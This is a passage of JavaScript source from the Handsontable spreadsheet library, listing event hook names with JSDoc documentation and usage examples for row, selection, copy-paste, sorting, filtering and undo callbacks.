Hooks#afterCreateRow * @param {Number} index Represents the visual index of first newly created row in the data source array. * @param {Number} amount Number of newly created rows in the data source array. * @param {String} [source] String that identifies source of hook call * ([list of all available sources]{@link http://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'afterCreateRow', /** * Fired after the current cell is deselected. * * @event Hooks#afterDeselect */ 'afterDeselect', /** * Fired after destroying the Handsontable instance. * * @event Hooks#afterDestroy */ 'afterDestroy', /** * General hook which captures `keydown` events attached to the document body. These events are delegated to the * hooks system and consumed by Core and internal modules (e.g plugins, editors). * * @event Hooks#afterDocumentKeyDown * @param {Event} event A native `keydown` event object. */ 'afterDocumentKeyDown', /** * Fired inside the Walkontable's selection `draw` method. Can be used to add additional class names to cells, depending on the current selection. * * @event Hooks#afterDrawSelection * @param {Number} currentRow Row index of the currently processed cell. * @param {Number} currentColumn Column index of the currently cell. * @param {Number[]} cornersOfSelection Array of the current selection in a form of `[startRow, startColumn, endRow, endColumn]`. * @param {Number|undefined} layerLevel Number indicating which layer of selection is currently processed. * @since 0.38.1 * @returns {String|undefined} Can return a `String`, which will act as an additional `className` to be added to the currently processed cell. */ 'afterDrawSelection', /** * Fired inside the Walkontable's `refreshSelections` method. Can be used to remove additional class names from all cells in the table. * * @event Hooks#beforeRemoveCellClassNames * @since 0.38.1 * @returns {String[]|undefined} Can return an `Array` of `String`s. Each of these strings will act like class names to be removed from all the cells in the table. */ 'beforeRemoveCellClassNames', /** * Fired after getting the cell settings. * * @event Hooks#afterGetCellMeta * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {Object} cellProperties Object containing the cell properties. */ 'afterGetCellMeta', /** * Fired after retrieving information about a column header and appending it to the table header. * * @event Hooks#afterGetColHeader * @param {Number} column Visual column index. * @param {HTMLTableCellElement} TH Header's TH element. */ 'afterGetColHeader', /** * Fired after retrieving information about a row header and appending it to the table header. * * @event Hooks#afterGetRowHeader * @param {Number} row Visual row index. * @param {HTMLTableCellElement} TH Header's TH element. */ 'afterGetRowHeader', /** * Fired after the Handsontable instance is initiated. * * @event Hooks#afterInit */ 'afterInit', /** * Fired after new data is loaded (by `loadData` or `updateSettings` method) into the data source array. * * @event Hooks#afterLoadData * @param {Boolean} initialLoad flag that determines whether the data has been loaded during the initialization. */ 'afterLoadData', /** * Fired after a scroll event, which is identified as a momentum scroll (e.g. on an iPad). * * @event Hooks#afterMomentumScroll */ 'afterMomentumScroll', /** * Fired after a `mousedown` event is triggered on the cell corner (the drag handle). * * @event Hooks#afterOnCellCornerMouseDown * @param {Event} event `mousedown` event object. */ 'afterOnCellCornerMouseDown', /** * Fired after a `dblclick` event is triggered on the cell corner (the drag handle). * * @event Hooks#afterOnCellCornerDblClick * @param {Event} event `dblclick` event object. */ 'afterOnCellCornerDblClick', /** * Fired after clicking on a cell or row/column header. In case the row/column header was clicked, the coordinate * indexes are negative. * * For example clicking on the row header of cell (0, 0) results with `afterOnCellMouseDown` called * with coordinates `{row: 0, col: -1}`. * * @event Hooks#afterOnCellMouseDown * @param {Event} event `mousedown` event object. * @param {CellCoords} coords Coordinates object containing the visual row and visual column indexes of the clicked cell. * @param {HTMLTableCellElement} TD Cell's TD (or TH) element. */ 'afterOnCellMouseDown', /** * Fired after clicking on a cell or row/column header. In case the row/column header was clicked, the coordinate * indexes are negative. * * For example clicking on the row header of cell (0, 0) results with `afterOnCellMouseUp` called * with coordinates `{row: 0, col: -1}`. * * @event Hooks#afterOnCellMouseUp * @param {Event} event `mouseup` event object. * @param {CellCoords} coords Coordinates object containing the visual row and visual column indexes of the clicked cell. * @param {HTMLTableCellElement} TD Cell's TD (or TH) element. */ 'afterOnCellMouseUp', /** * Fired after clicking right mouse button on a cell or row/column header. * * For example clicking on the row header of cell (0, 0) results with `afterOnCellContextMenu` called * with coordinates `{row: 0, col: -1}`. * * @event Hooks#afterOnCellContextMenu * @since 4.1.0 * @param {Event} event `contextmenu` event object. * @param {CellCoords} coords Coordinates object containing the visual row and visual column indexes of the clicked cell. * @param {HTMLTableCellElement} TD Cell's TD (or TH) element. */ 'afterOnCellContextMenu', /** * Fired after hovering a cell or row/column header with the mouse cursor. In case the row/column header was * hovered, the index is negative. * * For example, hovering over the row header of cell (0, 0) results with `afterOnCellMouseOver` called * with coords `{row: 0, col: -1}`. * * @event Hooks#afterOnCellMouseOver * @param {Event} event `mouseover` event object. * @param {CellCoords} coords Hovered cell's visual coordinate object. * @param {HTMLTableCellElement} TD Cell's TD (or TH) element. */ 'afterOnCellMouseOver', /** * Fired after leaving a cell or row/column header with the mouse cursor. * * @event Hooks#afterOnCellMouseOut * @param {Event} event `mouseout` event object. * @param {CellCoords} coords Leaved cell's visual coordinate object. * @param {HTMLTableCellElement} TD Cell's TD (or TH) element. */ 'afterOnCellMouseOut', /** * Fired after one or more columns are removed. * * @event Hooks#afterRemoveCol * @param {Number} index Visual index of starter column. * @param {Number} amount An amount of removed columns. * @param {Number[]} physicalColumns An array of physical columns removed from the data source. * @param {String} [source] String that identifies source of hook call ([list of all available sources]{@link https://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'afterRemoveCol', /** * Fired after one or more rows are removed. * * @event Hooks#afterRemoveRow * @param {Number} index Visual index of starter row. * @param {Number} amount An amount of removed rows. * @param {Number[]} physicalRows An array of physical rows removed from the data source. * @param {String} [source] String that identifies source of hook call ([list of all available sources]{@link https://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'afterRemoveRow', /** * Fired after the Handsontable table is rendered. * * @event Hooks#afterRender * @param {Boolean} isForced Is `true` if rendering was triggered by a change of settings or data; or `false` if * rendering was triggered by scrolling or moving selection. */ 'afterRender', /** * Fired before starting rendering the cell. * * @event Hooks#beforeRenderer * @param {HTMLTableCellElement} TD Currently rendered cell's TD element. * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {String|Number} prop Column property name or a column index, if datasource is an array of arrays. * @param {*} value Value of the rendered cell. * @param {Object} cellProperties Object containing the cell's properties. */ 'beforeRenderer', /** * Fired after finishing rendering the cell (after the renderer finishes). * * @event Hooks#afterRenderer * @param {HTMLTableCellElement} TD Currently rendered cell's TD element. * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {String|Number} prop Column property name or a column index, if datasource is an array of arrays. * @param {*} value Value of the rendered cell. * @param {Object} cellProperties Object containing the cell's properties. */ 'afterRenderer', /** * Fired after the horizontal scroll event. * * @event Hooks#afterScrollHorizontally */ 'afterScrollHorizontally', /** * Fired after the vertical scroll event. * * @event Hooks#afterScrollVertically */ 'afterScrollVertically', /** * Fired after one or more cells are selected (e.g. during mouse move). * * @event Hooks#afterSelection * @param {Number} row Selection start visual row index. * @param {Number} column Selection start visual column index. * @param {Number} row2 Selection end visual row index. * @param {Number} column2 Selection end visual column index. * @param {Object} preventScrolling Object with `value` property where its value change will be observed. * @param {Number} selectionLayerLevel The number which indicates what selection layer is currently modified. * @example * ```js * new Handsontable(element, { * afterSelection: (row, column, row2, column2, preventScrolling, selectionLayerLevel) => { * // setting if prevent scrolling after selection * preventScrolling.value = true; * } * }) * ``` */ 'afterSelection', /** * Fired after one or more cells are selected. * * The `prop` and `prop2` arguments represent the source object property name instead of the column number. * * @event Hooks#afterSelectionByProp * @param {Number} row Selection start visual row index. * @param {String} prop Selection start data source object property name. * @param {Number} row2 Selection end visual row index. * @param {String} prop2 Selection end data source object property name. * @param {Object} preventScrolling Object with `value` property where its value change will be observed. * @param {Number} selectionLayerLevel The number which indicates what selection layer is currently modified. * @example * ```js * new Handsontable(element, { * afterSelectionByProp: (row, column, row2, column2, preventScrolling, selectionLayerLevel) => { * // setting if prevent scrolling after selection * preventScrolling.value = true; * } * }) * ``` */ 'afterSelectionByProp', /** * Fired after one or more cells are selected (e.g. on mouse up). * * @event Hooks#afterSelectionEnd * @param {Number} row Selection start visual row index. * @param {Number} column Selection start visual column index. * @param {Number} row2 Selection end visual row index. * @param {Number} column2 Selection end visual column index. * @param {Number} selectionLayerLevel The number which indicates what selection layer is currently modified. */ 'afterSelectionEnd', /** * Fired after one or more cells are selected (e.g. on mouse up). * * The `prop` and `prop2` arguments represent the source object property name instead of the column number. * * @event Hooks#afterSelectionEndByProp * @param {Number} row Selection start visual row index. * @param {String} prop Selection start data source object property index. * @param {Number} row2 Selection end visual row index. * @param {String} prop2 Selection end data source object property index. * @param {Number} selectionLayerLevel The number which indicates what selection layer is currently modified. */ 'afterSelectionEndByProp', /** * Fired after cell meta is changed. * * @event Hooks#afterSetCellMeta * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {String} key The updated meta key. * @param {*} value The updated meta value. */ 'afterSetCellMeta', /** * Fired after cell meta is removed. * * @event Hooks#afterRemoveCellMeta * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {String} key The removed meta key. * @param {*} value Value which was under removed key of cell meta. */ 'afterRemoveCellMeta', /** * Fired after cell data was changed. * * @event Hooks#afterSetDataAtCell * @param {Array} changes An array of changes in format `[[row, column, oldValue, value], ...]`. * @param {String} [source] String that identifies source of hook call * ([list of all available sources]{@link http://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'afterSetDataAtCell', /** * Fired after cell data was changed. * * @event Hooks#afterSetDataAtRowProp * @param {Array} changes An array of changes in format `[[row, prop, oldValue, value], ...]`. * @param {String} [source] String that identifies source of hook call * ([list of all available sources]{@link http://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'afterSetDataAtRowProp', /** * Fired after calling the `updateSettings` method. * * @event Hooks#afterUpdateSettings * @param {Object} newSettings New settings object. */ 'afterUpdateSettings', /** * @description * A plugin hook executed after validator function, only if validator function is defined. * Validation result is the first parameter. This can be used to determinate if validation passed successfully or not. * * __Returning false from the callback will mark the cell as invalid.__ * * @event Hooks#afterValidate * @param {Boolean} isValid `true` if valid, `false` if not. * @param {*} value The value in question. * @param {Number} row Visual row index. * @param {String|Number} prop Property name / visual column index. * @param {String} [source] String that identifies source of hook call * ([list of all available sources]{@link http://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'afterValidate', /** * Fired before successful change of language (when proper language code was set) * * @event Hooks#beforeLanguageChange * @since 0.35.0 * @param {String} languageCode New language code. */ 'beforeLanguageChange', /** * Fired after successful change of language (when proper language code was set). * * @event Hooks#afterLanguageChange * @since 0.35.0 * @param {String} languageCode New language code. */ 'afterLanguageChange', /** * Fired by {@link Autofill} plugin before populating the data in the autofill feature. This hook is fired when * {@link Options#fillHandle} option is enabled. * * @event Hooks#beforeAutofill * @param {CellCoords} start Object containing information about first filled cell: `{row: 2, col: 0}`. * @param {CellCoords} end Object containing information about last filled cell: `{row: 4, col: 1}`. * @param {Array[]} data 2D array containing information about fill pattern: `[["1", "Ted"], ["1", "John"]]`. */ 'beforeAutofill', /** * Fired before aligning the cell contents. * * @event Hooks#beforeCellAlignment * @param {Object} stateBefore An object with class names defining the cell alignment. * @param {CellRange[]} range An array of CellRange coordinates where the alignment will be applied. * @param {String} type Type of the alignment - either `horizontal` or `vertical`. * @param {String} alignmentClass String defining the alignment class added to the cell. * Possible values: * * `htLeft` * * `htCenter` * * `htRight` * * `htJustify` * * `htTop` * * `htMiddle` * * `htBottom` */ 'beforeCellAlignment', /** * Fired before one or more cells is changed. Its main purpose is to alter changes silently after input and before * table rendering. * * @event Hooks#beforeChange * @param {Array[]} changes 2D array containing information about each of the edited cells. * @param {String} [source] String that identifies source of hook call * ([list of all available sources]{@link http://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). * @example * ```js * // To disregard a single change, set changes[i] to null or remove it from array using changes.splice(i, 1). * new Handsontable(element, { * beforeChange: (changes, source) => { * // [[row, prop, oldVal, newVal], ...] * changes[0] = null; * } * }); * // To alter a single change, overwrite the desired value to changes[i][3]. * new Handsontable(element, { * beforeChange: (changes, source) => { * // [[row, prop, oldVal, newVal], ...] * changes[0][3] = 10; * } * }); * // To cancel all edit, return false from the callback or set array length to 0 (changes.length = 0). * new Handsontable(element, { * beforeChange: (changes, source) => { * // [[row, prop, oldVal, newVal], ...] * return false; * } * }); * ``` */ 'beforeChange', /** * Fired right before rendering the changes. * * @event Hooks#beforeChangeRender * @param {Array[]} changes Array in form of `[row, prop, oldValue, newValue]`. * @param {String} [source] String that identifies source of hook call * ([list of all available sources]{@link http://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'beforeChangeRender', /** * Fired before drawing the borders. * * @event Hooks#beforeDrawBorders * @param {Array} corners Array specifying the current selection borders. * @param {String} borderClassName Specifies the border class name. */ 'beforeDrawBorders', /** * Fired before getting cell settings. * * @event Hooks#beforeGetCellMeta * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {Object} cellProperties Object containing the cell's properties. */ 'beforeGetCellMeta', /** * Fired before cell meta is removed. * * @event Hooks#beforeRemoveCellMeta * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {String} key The removed meta key. * @param {*} value Value which is under removed key of cell meta. */ 'beforeRemoveCellMeta', /** * Fired before the Handsontable instance is initiated. * * @event Hooks#beforeInit */ 'beforeInit', /** * Fired before the Walkontable instance is initiated. * * @event Hooks#beforeInitWalkontable * @param {Object} walkontableConfig Walkontable configuration object. */ 'beforeInitWalkontable', /** * Fired before keydown event is handled. It can be used to overwrite default key bindings. * * __Note__: To prevent default behavior you need to call `event.stopImmediatePropagation()` in your `beforeKeyDown` * handler. * * @event Hooks#beforeKeyDown * @param {Event} event Original DOM event. */ 'beforeKeyDown', /** * Fired after the user clicked a cell, but before all the calculations related with it. * * @event Hooks#beforeOnCellMouseDown * @param {Event} event The `mousedown` event object. * @param {CellCoords} coords Cell coords object containing the visual coordinates of the clicked cell. * @param {HTMLTableCellElement} TD TD element. * @param {Object} controller An object with keys `row`, `column` and `cells` which contains boolean values. This * object allows or disallows changing the selection for the particular axies. */ 'beforeOnCellMouseDown', /** * Fired after the user clicked a cell. * * @event Hooks#beforeOnCellMouseUp * @param {Event} event The `mouseup` event object. * @param {CellCoords} coords Cell coords object containing the visual coordinates of the clicked cell. * @param {HTMLTableCellElement} TD TD element. * @param {Object} controller An object with keys `row`, `column` and `cells` which contains boolean values. This * object allows or disallows changing the selection for the particular axies. */ 'beforeOnCellMouseUp', /** * Fired after the user clicked a cell, but before all the calculations related with it. * * @event Hooks#beforeOnCellContextMenu * @since 4.1.0 * @param {Event} event The `contextmenu` event object. * @param {CellCoords} coords Cell coords object containing the visual coordinates of the clicked cell. * @param {HTMLTableCellElement} TD TD element. */ 'beforeOnCellContextMenu', /** * Fired after the user moved cursor over a cell, but before all the calculations related with it. * * @event Hooks#beforeOnCellMouseOver * @param {Event} event The `mouseover` event object. * @param {CellCoords} coords CellCoords object containing the visual coordinates of the clicked cell. * @param {HTMLTableCellElement} TD TD element. * @param {Object} controller An object with keys `row`, `column` and `cells` which contains boolean values. This * object allows or disallows changing the selection for the particular axies. */ 'beforeOnCellMouseOver', /** * Fired after the user moved cursor out from a cell, but before all the calculations related with it. * * @event Hooks#beforeOnCellMouseOut * @param {Event} event The `mouseout` event object. * @param {CellCoords} coords CellCoords object containing the visual coordinates of the leaved cell. * @param {HTMLTableCellElement} TD TD element. */ 'beforeOnCellMouseOut', /** * Fired before one or more columns are about to be removed. * * @event Hooks#beforeRemoveCol * @param {Number} index Visual index of starter column. * @param {Number} amount Amount of columns to be removed. * @param {Number[]} physicalColumns An array of physical columns removed from the data source. * @param {String} [source] String that identifies source of hook call ([list of all available sources]{@link https://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'beforeRemoveCol', /** * Fired when one or more rows are about to be removed. * * @event Hooks#beforeRemoveRow * @param {Number} index Visual index of starter column. * @param {Number} amount Amount of columns to be removed. * @param {Number[]} physicalRows An array of physical rows removed from the data source. * @param {String} [source] String that identifies source of hook call ([list of all available sources]{@link https://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'beforeRemoveRow', /** * Fired before the Handsontable table is rendered. * * @event Hooks#beforeRender * @param {Boolean} isForced If `true` rendering was triggered by a change of settings or data; or `false` if * rendering was triggered by scrolling or moving selection. */ 'beforeRender', /** * Fired before setting range is started but not finished yet. * * @event Hooks#beforeSetRangeStartOnly * @param {CellCoords} coords CellCoords instance. */ 'beforeSetRangeStartOnly', /** * Fired before setting range is started. * * @event Hooks#beforeSetRangeStart * @param {CellCoords} coords CellCoords instance. */ 'beforeSetRangeStart', /** * Fired before setting range is ended. * * @event Hooks#beforeSetRangeEnd * @param {CellCoords} coords CellCoords instance. */ 'beforeSetRangeEnd', /** * Fired before the logic of handling a touch scroll, when user started scrolling on a touch-enabled device. * * @event Hooks#beforeTouchScroll */ 'beforeTouchScroll', /** * Fired before cell validation, only if validator function is defined. This can be used to manipulate the value * of changed cell before it is applied to the validator function. * * __Note:__ this will not affect values of changes. This will change value *ONLY* for validation * * @event Hooks#beforeValidate * @param {*} value Value of the cell. * @param {Number} row Visual row index. * @param {String|Number} prop Property name / column index. * @param {String} [source] String that identifies source of hook call * ([list of all available sources]{@link http://docs.handsontable.com/tutorial-using-callbacks.html#page-source-definition}). */ 'beforeValidate', /** * Fired before cell value is rendered into the DOM (through renderer function). This can be used to manipulate the * value which is passed to the renderer without modifying the renderer itself. * * @event Hooks#beforeValueRender * @param {*} value Cell value to render. * @param {Object} cellProperties An object containing the cell properties. */ 'beforeValueRender', /** * Fired after Handsontable instance is constructed (using `new` operator). * * @event Hooks#construct */ 'construct', /** * Fired after Handsontable instance is initiated but before table is rendered. * * @event Hooks#init */ 'init', /** * Fired when a column index is about to be modified by a callback function. * * @event Hooks#modifyCol * @param {Number} column Visual column index. */ 'modifyCol', /** * Fired when a column index is about to be de-modified by a callback function. * * @event Hooks#unmodifyCol * @param {Number} column Physical column index. */ 'unmodifyCol', /** * Fired when a physical row index is about to be de-modified by a callback function. * * @event Hooks#unmodifyRow * @param {Number} row Physical row index. */ 'unmodifyRow', /** * Fired when a column header index is about to be modified by a callback function. * * @event Hooks#modifyColHeader * @param {Number} column Visual column header index. */ 'modifyColHeader', /** * Fired when a column width is about to be modified by a callback function. * * @event Hooks#modifyColWidth * @param {Number} width Current column width. * @param {Number} column Visual column index. */ 'modifyColWidth', /** * Fired when a row index is about to be modified by a callback function. * * @event Hooks#modifyRow * @param {Number} row Visual row index. */ 'modifyRow', /** * Fired when a row header index is about to be modified by a callback function. * * @event Hooks#modifyRowHeader * @param {Number} row Visual row header index. */ 'modifyRowHeader', /** * Fired when a row height is about to be modified by a callback function. * * @event Hooks#modifyRowHeight * @param {Number} height Row height. * @param {Number} row Visual row index. */ 'modifyRowHeight', /** * Fired when a data was retrieved or modified. * * @event Hooks#modifyData * @param {Number} row Row height. * @param {Number} column Column index. * @param {Object} valueHolder Object which contains original value which can be modified by overwriting `.value` property. * @param {String} ioMode String which indicates for what operation hook is fired (`get` or `set`). */ 'modifyData', /** * Fired when a data was retrieved or modified. * * @event Hooks#modifyRowData * @param {Number} row Physical row index. */ 'modifyRowData', /** * Used to modify the cell coordinates when using the `getCell` method. * * @event Hooks#modifyGetCellCoords * @since 0.36.0 * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {Boolean} topmost If set to `true`, it returns the TD element from the topmost overlay. For example, * if the wanted cell is in the range of fixed rows, it will return a TD element * from the `top` overlay. */ 'modifyGetCellCoords', /** * Fired by {@link PersistentState} plugin, after loading value, saved under given key, from browser local storage. This hook is fired when * {@link Options#persistentState} option is enabled. * * @event Hooks#persistentStateLoad * @param {String} key Key. * @param {Object} valuePlaceholder Object containing the loaded value under `valuePlaceholder.value` (if no value have been saved, `value` key will be undefined). */ 'persistentStateLoad', /** * Fired by {@link PersistentState} plugin after resetting data from local storage. If no key is given, all values associated with table will be cleared. * This hook is fired when {@link Options#persistentState} option is enabled. * * @event Hooks#persistentStateReset * @param {String} [key] Key. */ 'persistentStateReset', /** * Fired by {@link PersistentState} plugin, after saving value under given key in browser local storage. This hook is fired when * {@link Options#persistentState} option is enabled. * * @event Hooks#persistentStateSave * @param {String} key Key. * @param {Mixed} value Value to save. */ 'persistentStateSave', /** * Fired by {@link ColumnSorting} and {@link MultiColumnSorting} plugins before sorting the column. If you return `false` value inside callback for hook, then sorting * will be not applied by the Handsontable (useful for server-side sorting). * * This hook is fired when {@link Options#columnSorting} or {@link Options#multiColumnSorting} option is enabled. * * @event Hooks#beforeColumnSort * @param {Array} currentSortConfig Current sort configuration (for all sorted columns). * @param {Array} destinationSortConfigs Destination sort configuration (for all sorted columns). */ 'beforeColumnSort', /** * Fired by {@link ColumnSorting} and {@link MultiColumnSorting} plugins after sorting the column. This hook is fired when {@link Options#columnSorting} * or {@link Options#multiColumnSorting} option is enabled. * * @event Hooks#afterColumnSort * @param {Array} currentSortConfig Current sort configuration (for all sorted columns). * @param {Array} destinationSortConfigs Destination sort configuration (for all sorted columns). */ 'afterColumnSort', /** * Fired by {@link Autofill} plugin after setting range of autofill. This hook is fired when {@link Options#fillHandle} * option is enabled. * * @event Hooks#modifyAutofillRange * @param {Array} startArea Array of visual coordinates of the starting point for the drag-down operation (`[startRow, startColumn, endRow, endColumn]`). * @param {Array} entireArea Array of visual coordinates of the entire area of the drag-down operation (`[startRow, startColumn, endRow, endColumn]`). */ 'modifyAutofillRange', /** * Fired to allow modifying the copyable range with a callback function. * * @event Hooks#modifyCopyableRange * @param {Array[]} copyableRanges Array of objects defining copyable cells. */ 'modifyCopyableRange', /** * Fired by {@link CopyPaste} plugin before copying the values into clipboard and before clearing values of * the selected cells. This hook is fired when {@link Options#copyPaste} option is enabled. * * @event Hooks#beforeCut * @param {Array[]} data An array of arrays which contains data to cut. * @param {Object[]} coords An array of objects with ranges of the visual indexes (`startRow`, `startCol`, `endRow`, `endCol`) * which will be cut out. * @returns {*} If returns `false` then operation of the cutting out is canceled. * @example * ```js * // To disregard a single row, remove it from the array using data.splice(i, 1). * new Handsontable(element, { * beforeCut: function(data, coords) { * // data -> [[1, 2, 3], [4, 5, 6]] * data.splice(0, 1); * // data -> [[4, 5, 6]] * // coords -> [{startRow: 0, startCol: 0, endRow: 1, endCol: 2}] * } * }); * // To cancel a cutting action, just return `false`. * new Handsontable(element, { * beforeCut: function(data, coords) { * return false; * } * }); * ``` */ 'beforeCut', /** * Fired by {@link CopyPaste} plugin after data was cut out from the table. This hook is fired when * {@link Options#copyPaste} option is enabled. * * @event Hooks#afterCut * @param {Array[]} data An array of arrays which contains the cutted out data. * @param {Object[]} coords An array of objects with ranges of the visual indexes (`startRow`, `startCol`, `endRow`, `endCol`) * which was cut out. */ 'afterCut', /** * Fired before values are copied into clipboard. * * @event Hooks#beforeCopy * @param {Array[]} data An array of arrays which contains data to copied. * @param {Object[]} coords An array of objects with ranges of the visual indexes (`startRow`, `startCol`, `endRow`, `endCol`) * which will copied. * @returns {*} If returns `false` then copying is canceled. * * @example * ```js * // To disregard a single row, remove it from array using data.splice(i, 1). * ... * new Handsontable(document.getElementById('example'), { * beforeCopy: (data, coords) => { * // data -> [[1, 2, 3], [4, 5, 6]] * data.splice(0, 1); * // data -> [[4, 5, 6]] * // coords -> [{startRow: 0, startCol: 0, endRow: 1, endCol: 2}] * } * }); * ... * * // To cancel copying, return false from the callback. * ... * new Handsontable(document.getElementById('example'), { * beforeCopy: (data, coords) => { * return false; * } * }); * ... * ``` */ 'beforeCopy', /** * Fired by {@link CopyPaste} plugin after data are pasted into table. This hook is fired when {@link Options#copyPaste} * option is enabled. * * @event Hooks#afterCopy * @param {Array[]} data An array of arrays which contains the copied data. * @param {Object[]} coords An array of objects with ranges of the visual indexes (`startRow`, `startCol`, `endRow`, `endCol`) * which was copied. */ 'afterCopy', /** * Fired by {@link CopyPaste} plugin before values are pasted into table. This hook is fired when * {@link Options#copyPaste} option is enabled. * * @event Hooks#beforePaste * @param {Array[]} data An array of arrays which contains data to paste. * @param {Object[]} coords An array of objects with ranges of the visual indexes (`startRow`, `startCol`, `endRow`, `endCol`) * that correspond to the previously selected area. * @returns {*} If returns `false` then pasting is canceled. * @example * ```js * // To disregard a single row, remove it from array using data.splice(i, 1). * new Handsontable(example, { * beforePaste: (data, coords) => { * // data -> [[1, 2, 3], [4, 5, 6]] * data.splice(0, 1); * // data -> [[4, 5, 6]] * // coords -> [{startRow: 0, startCol: 0, endRow: 1, endCol: 2}] * } * }); * // To cancel pasting, return false from the callback. * new Handsontable(example, { * beforePaste: (data, coords) => { * return false; * } * }); * ``` */ 'beforePaste', /** * Fired by {@link CopyPaste} plugin after values are pasted into table. This hook is fired when * {@link Options#copyPaste} option is enabled. * * @event Hooks#afterPaste * @param {Array[]} data An array of arrays which contains the pasted data. * @param {Object[]} coords An array of objects with ranges of the visual indexes (`startRow`, `startCol`, `endRow`, `endCol`) * that correspond to the previously selected area. */ 'afterPaste', /** * Fired by {@link ManualColumnMove} plugin before change order of the visual indexes. This hook is fired when * {@link Options#manualColumnMove} option is enabled. * * @event Hooks#beforeColumnMove * @param {Number[]} columns Array of visual column indexes to be moved. * @param {Number} target Visual column index being a target for moved columns. */ 'beforeColumnMove', /** * Fired by {@link ManualColumnMove} plugin after changing order of the visual indexes. This hook is fired when * {@link Options#manualColumnMove} option is enabled. * * @event Hooks#afterColumnMove * @param {Number[]} columns Array of visual column indexes that were moved. * @param {Number} target Visual column index being a target for moved columns. */ 'afterColumnMove', /** * Fired by {@link ManualRowMove} plugin before change order of the visual indexes. This hook is fired when * {@link Options#manualRowMove} option is enabled. * * @event Hooks#beforeRowMove * @param {Number[]} rows An array of visual row indexes to be moved. * @param {Number} target Visual row index being a target for moved rows. */ 'beforeRowMove', /** * Fired by {@link ManualRowMove} plugin after change order of the visual indexes. This hook is fired when * {@link Options#manualRowMove} option is enabled. * * @event Hooks#afterRowMove * @param {Number[]} rows An array of visual row indexes that were moved. * @param {Number} target Visual row index being a target for moved rows. */ 'afterRowMove', /** * Fired by {@link ManualColumnResize} plugin before rendering the table with modified column sizes. This hook is * fired when {@link Options#manualColumnResize} option is enabled. * * @event Hooks#beforeColumnResize * @param {Number} currentColumn Visual index of the resized column. * @param {Number} newSize Calculated new column width. * @param {Boolean} isDoubleClick Flag that determines whether there was a double-click. * @returns {Number} Returns a new column size or `undefined`, if column size should be calculated automatically. */ 'beforeColumnResize', /** * Fired by {@link ManualColumnResize} plugin after rendering the table with modified column sizes. This hook is * fired when {@link Options#manualColumnResize} option is enabled. * * @event Hooks#afterColumnResize * @param {Number} currentColumn Visual index of the resized column. * @param {Number} newSize Calculated new column width. * @param {Boolean} isDoubleClick Flag that determines whether there was a double-click. */ 'afterColumnResize', /** * Fired by {@link ManualRowResize} plugin before rendering the table with modified row sizes. This hook is * fired when {@link Options#manualRowResize} option is enabled. * * @event Hooks#beforeRowResize * @param {Number} currentRow Visual index of the resized row. * @param {Number} newSize Calculated new row height. * @param {Boolean} isDoubleClick Flag that determines whether there was a double-click. * @returns {Number} Returns the new row size or `undefined` if row size should be calculated automatically. */ 'beforeRowResize', /** * Fired by {@link ManualRowResize} plugin after rendering the table with modified row sizes. This hook is * fired when {@link Options#manualRowResize} option is enabled. * * @event Hooks#afterRowResize * @param {Number} currentRow Visual index of the resized row. * @param {Number} newSize Calculated new row height. * @param {Boolean} isDoubleClick Flag that determines whether there was a double-click. */ 'afterRowResize', /** * Fired after getting the column header renderers. * * @event Hooks#afterGetColumnHeaderRenderers * @param {Function[]} renderers An array of the column header renderers. */ 'afterGetColumnHeaderRenderers', /** * Fired after getting the row header renderers. * * @event Hooks#afterGetRowHeaderRenderers * @param {Function[]} renderers An array of the row header renderers. */ 'afterGetRowHeaderRenderers', /** * Fired before applying stretched column width to column. * * @event Hooks#beforeStretchingColumnWidth * @param {Number} stretchedWidth Calculated width. * @param {Number} column Visual column index. * @returns {Number} Returns new width which will be applied to the column element. */ 'beforeStretchingColumnWidth', /** * Fired by {@link Filters} plugin before applying [filtering]{@link http://docs.handsontable.com/pro/demo-filtering.html}. This hook is fired when * {@link Options#filters} option is enabled. * * @pro * @event Hooks#beforeFilter * @param {Object[]} conditionsStack An array of objects with added formulas. * ```js * // Example format of the conditionsStack argument: * [ * { * column: 2, * conditions: [ * {name: 'begins_with', args: [['S']]} * ], * operation: 'conjunction' * }, * { * column: 4, * conditions: [ * {name: 'not_empty', args: []} * ], * operation: 'conjunction' * }, * ] * ``` * @returns {Boolean} If hook returns `false` value then filtering won't be applied on the UI side (server-side filtering). */ 'beforeFilter', /** * Fired by {@link Filters} plugin after applying [filtering]{@link http://docs.handsontable.com/pro/demo-filtering.html}. This hook is fired when * {@link Options#filters} option is enabled. * * @pro * @event Hooks#afterFilter * @param {Object[]} conditionsStack An array of objects with added conditions. * ```js * // Example format of the conditionsStack argument: * [ * { * column: 2, * conditions: [ * {name: 'begins_with', args: [['S']]} * ], * operation: 'conjunction' * }, * { * column: 4, * conditions: [ * {name: 'not_empty', args: []} * ], * operation: 'conjunction' * }, * ] * ``` */ 'afterFilter', /** * Fired while retrieving the column header height. * * @event Hooks#modifyColumnHeaderHeight */ 'modifyColumnHeaderHeight', /** * Fired by {@link UndoRedo} plugin before the undo action. Contains information about the action that is being undone. * This hook is fired when {@link Options#undo} option is enabled. * * @event Hooks#beforeUndo * @param {Object} action The action object. Contains information about the action being undone. The `actionType` * property of the object specifies the type of the action in a String format. (e.g. `'remove_row'`). */ 'beforeUndo', /** * Fired by {@link UndoRedo} plugin after the undo action. Contains information about the action that is being undone. * This hook is fired when {@link Options#undo} option is enabled. * * @event Hooks#afterUndo * @param {Object} action The action object. Contains information about the action being undone. The `actionType` * property of the object specifies the type of the action in a String format. (e.g. `'remove_row'`). */ 'afterUndo', /** * Fired by {@link UndoRedo} plugin before the redo action. Contains information about the action that is being redone. * This hook is fired when {@link 